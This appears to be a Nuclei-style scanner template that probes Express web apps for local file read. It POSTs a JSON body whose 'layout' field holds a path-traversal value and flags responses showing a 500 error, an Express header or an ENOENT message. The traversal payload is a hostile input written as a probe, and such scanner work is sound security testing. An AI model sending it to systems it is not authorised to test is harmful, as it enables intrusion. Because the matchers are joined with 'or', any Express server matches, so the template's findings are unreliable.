lfr_express.yaml

id: Express-LFR-json

info:
  name: LFR  in Express via json
  author: nithissh
  severity: medium

requests:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
      Content-Type: application/json
    body: "{\"profile\":{\"layout\": \"./../routes/indfsfdsdex.js\"}}"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 500
      - type: word
        words: 
          - "X-Powered-By: Express"
        part: header  
      - type: word
        words:
          - "ENOENT: no such file or directory"

    # matchers-condition: or
    # matchers:
    #   - type: status
    #     status:
    #       - 500
    #   - type: word
    #     words: 
    #       - "X-Powered-By: Express"
    #     part: header  
    #   - type: word
    #     words:
    #       - "ENOENT: no such file or directory"